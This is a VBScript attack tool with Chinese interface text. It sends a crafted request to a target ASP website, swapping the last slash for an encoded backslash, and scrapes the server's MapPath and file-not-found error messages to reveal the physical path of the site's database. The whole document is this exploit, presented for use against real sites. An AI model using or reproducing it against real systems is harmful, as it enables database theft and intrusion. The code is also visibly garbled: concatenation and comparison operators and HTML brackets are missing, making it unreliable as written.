Dim xStatus,tStatus,vServer,vHeader,vRsBody GetError=InputBox("請輸入網站,例如:http://www.hackerxfiles.com/files/list.asp?id=415","請輸入網址","http://www.hackerxfiles.com/files/list.asp?id=415") If GetError = "" Then MsgBox("輸入錯誤，程序結束！") WScript.Quit End If
GetError=StrReverse(GetError) Tem2=0 For I=1 To Len(GetError) If Mid(GetError,I,1) = Chr(47) And Tem2=0 Then Temp=Temp "c5%" Tem2=Tem2+1 Else Temp=Temp Mid(GetError,I,1) End If Next GetError=StrReverse(Temp)
Call xmlPost(GetError) ErrorText = vServer " " xStatus BaseSaver = GetStr(vRsBody,"找不到文件 '","'。/font>" Chr(10)) If BaseSaver="[None]" Then BaseSaver = GetStr(vRsBody,"font face="Chr(34)"宋體"Chr(34)" size=2>'","'不是一個有效的路徑。") End If If BaseSaver="[None]" Then BaseSaver = GetStr(vRsBody,"打開注冊表關鍵字 '","'。/font>") End If
If BaseSaver = "[None]" Then AllReturn= "TITLE>Mappath出錯獲取數據庫地址 Lilo/TITLE>Body scroll='no' bgcolor='menu' style='border:0pt;margin-left:5pt'>B>" ErrorText "/B>BR>BR>textarea rows='15' name='S1' cols='57'>" vRsBody "/textarea>" Else AllReturn= "TITLE>Mappath出錯獲取數據庫地址 Lilo/TITLE>Body scroll='no' bgcolor='menu' style='border:0pt;margin-left:5pt'>B>" ErrorText "/B>BR>BR>textarea rows='15' name='S1' cols='57'>" BaseSaver "/textarea>" End If
Call OpenWin(AllReturn) Set WHShell = WScript.CreateObject("WScript.Shell") WHShell.AppActivate "Mappath出錯獲取數據庫地址 Lilo" 'WHShell.SendKeys ("%{TAB}") Set WHShell = Nothing
Function URLEncoding(vstrIn) strReturn = "" For i = 1 To Len(vstrIn) ThisChr = Mid(vStrIn,i,1) If Abs(Asc(ThisChr)) HFF Then strReturn = strReturn ThisChr Else innerCode = Asc(ThisChr) If innerCode 0 Then innerCode = innerCode + H10000 End If Hight8 = (innerCode And HFF00)\&;HFF Low8 = innerCode And HFF strReturn = strReturn "%" Hex(Hight8) "%" Hex(Low8) End If Next URLEncoding = strReturn End Function
Function bytes2BSTR(vIn) strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode H80 Then strReturn = strReturn Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn Chr(CLng(ThisCharCode) * H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function
Function xmlPost(iURL) On Error Resume Next iPost=URLEncoding(iPost) Set xPost = CreateObject("Microsoft.XMLHTTP") xPost.open "POST",iURL,False xPost.Send xStatus = xPost.Status tStatus = xPost.StatusText vServer = xPost.GetResponseHeader("Server") vHeader = xPost.GetAllResponseHeaders vRsBody = bytes2BSTR(xPost.responseBody) Set xPost = Nothing End Function
Function GetStr(vString,iString,dString) vSum = inStr(vRsBody,iString) If vSum = 0 Then GetStr="[None]" : Exit Function eSum = inStr(vSum,vRsBody,dString) If eSum = 0 Then GetStr="[None]" : Exit Function GetStr = Mid(vRsBody,vSum+Len(iString),eSum-vSum-Len(iString)) End Function
Function IntToStr(vNum,vLen) If Len(vNum) >= vLen Then IntToStr = vNum : Exit Function For I=1 To vLen-Len(vNum) IntToStr=IntToStr "0" Next IntToStr = IntToStr CStr(vNum) End Function
Function GetSplit(unStr,vaStr,Mode) aTemp = Split(unStr,vaStr) bTemp = Ubound(aTemp) Select Case Mode Case -1: GetSplit = aTemp Case -2: GetSplit = bTemp End Select If Mode 0 Then Exit Function If Mode > bTemp Then GetSplit=False : Exit Function If Mode >= 0 Then GetSplit = aTemp(Mode) End Function
Function OpenWin(vTTv) Set IE = WScript.CreateObject("InternetExplorer.Application") IE.Navigate "about:blank" IE.Visible = 1 IE.ToolBar = 0 IE.StatusBar = 0 IE.Width=500 IE.Height=335 Do While (IE.Busy): Loop Set Doc = IE.Document Doc.Open Execute "Doc.Writeln " Chr(34) vTTv Chr(34) Doc.Close Set IE=Nothing End Function
